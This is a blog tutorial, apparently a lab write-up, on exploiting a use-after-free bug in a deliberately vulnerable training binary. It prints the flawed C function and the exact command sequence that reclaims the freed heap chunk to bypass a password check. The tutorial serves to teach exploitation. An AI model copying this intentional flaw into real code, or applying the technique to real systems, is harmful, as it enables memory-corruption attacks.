In this blog post, we will be exploiting a Use-after-free vulnerability in the vuln binary. The binaries for this and the next article can be found here. This UaF challenge is based on the one used by Protostar

Use-after-free vulnerabilities occurs on the use of heap allocated memory after it has been freed. This can lead to several unexpected behaviours, from a crash to code execution.

Anyways, let’s get started. Copy the vuln binary to your iOS or Corellium device.

Run the binary vuln. You get a message that says “Better luck next time”

1

Let’s open the binary in Hopper to see what’s going on. Let’s have a look at the main function.

Just like the previous example on Heap Overflow, our objective here is to jump the useafterfree function. For that, we need to pass in the argument uaf

1

The function then jumps execution to the function useafterfree

./vuln uaf

1

The output shows the address of the user and the customerChat object. We see several commands here, however on reversing the function, we find there is another hidden command reset that basically frees the user object.

1 1

This can be confirmed by looking at the code itself

void useafterfree(char *input){
    printf("Use after free challenge. Try to log in without entering the password. Available commands are:\na) username XYZ\nb) login\nc) customerChat XYZ.\n");
    char line[0x400];
    while(1) {
        printf("{user = %p, customerChat = %p }\n", user, customerChat);
        
        if(fgets(line, sizeof(line), stdin) == NULL) break;
        
        if(strncmp(line, "username ", 9) == 0) {
            user = malloc(sizeof(struct currentUser));
            memset(user, 0, sizeof(struct currentUser));
            if(strlen(line + 5) < 0x100) {
            	printf("Setting username\n");
                strcpy(user->username, line + 9);
            }
        }
        if(strncmp(line, "reset", 5) == 0) {
        	printf("Freeing user object\n");
            free(user);
        }
        if(strncmp(line, "customerChat ", 13) == 0) {
            customerChat = strdup(line + 12);
        }
        if(strncmp(line, "currentUser", 11) == 0) {
            printf("Current user is %s", user->username);
        }
        if(strncmp(line, "login", 5) == 0) {
            if(strncmp(user->password, "BBB", 3) == 0) {
                printf("You have successfully logged in with password %s!\n", user->password);
            } else {
                printf("Please enter your password\n");
                printf("current password is %s\n", user->password);
            }
        }
    }
}

We see that the user struct object has an attribute password . This is being checked later on. If the password has three B’s, the user gets logged in.

 if(strncmp(user->password, "BBB", 3) == 0) {
                printf("You have successfully logged in with password %s!\n", user->password);
            } 

This is an example of a UaF since the user object can be freed by using the reset command and then calling if(user->password) will basically trigger the UaF.

We can also calculate the size of the user object. The user object is a object of struct currentUser as can be seen in the following line

user = malloc(sizeof(struct currentUser));
struct currentUser {
    char username[0x100];
    char password[4];
};

The size of the user object is 256 + 4 = 260 bytes.

If we can free the user object using reset and then overwrite it with the value BBBB such that we are able to overwrite the password property, we might be able to execute a Use-after-free condition and successfully log in.

Since our objective is to login, so let’s try that by first entering the username command,

$username admin

$login

1

Now let’s enter the reset command, this will free the buffer. Now let’s enter the customerChat command followed by the chat and send 260 B’s (so the size of cutomerChat object is the same as than of user object), we keep entering the size of the chat around the same size of the user so that it can take over the memory address of the freed user object.

1

After some tries, we see that the customerChat address is overlapping the user address, in this case we were able to overwrite the password property of the freed user object with all B’s. And hence entering the login command again gives us a success.

Command in order

  1. username admin
  2. login
  3. reset
  4. customerChat BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
  5. login